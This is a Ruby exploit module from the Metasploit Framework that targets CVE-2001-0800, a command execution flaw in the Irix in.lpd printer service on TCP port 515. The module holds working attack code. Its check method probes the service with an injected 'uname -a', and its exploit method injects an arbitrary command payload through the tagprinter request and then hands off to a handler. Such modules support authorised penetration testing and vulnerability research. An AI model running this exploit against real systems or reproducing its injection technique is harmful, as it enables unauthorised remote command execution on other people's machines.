##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Irix LPD tagprinter Command Execution',
      'Description'    => %q{
        This module exploits an arbitrary command execution flaw in
        the in.lpd service shipped with all versions of Irix.    
      },
      'Author'         => [ 'optyx', 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          ['CVE', '2001-0800'],
          ['OSVDB', '8573'],
          ['URL',   'http://www.lsd-pl.net/code/IRIX/irx_lpsched.c'],
        ],
      'Privileged'     => false,
      'Platform'       => ['unix', 'irix'],
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 512,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic telnet',
            }
        },    
      'Targets'        => 
        [
          [ 'Automatic Target', { }]
        ],
      'DisclosureDate' => 'Sep 01 2001',
      'DefaultTarget' => 0))
      
      register_options(
        [
          Opt::RPORT(515)
        ], self.class)
  end

  def check
    connect
    sock.put("T;uname -a;\n")
    resp = sock.get_once
    disconnect
    
    if (resp =~ /IRIX/)
      print_status("Response: #{resp.strip}")
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end
  
  def exploit
    connect
    sock.put("T;#{payload.encoded};\n")
    handler
    print_status("Payload: #{payload.encoded}")
  end

end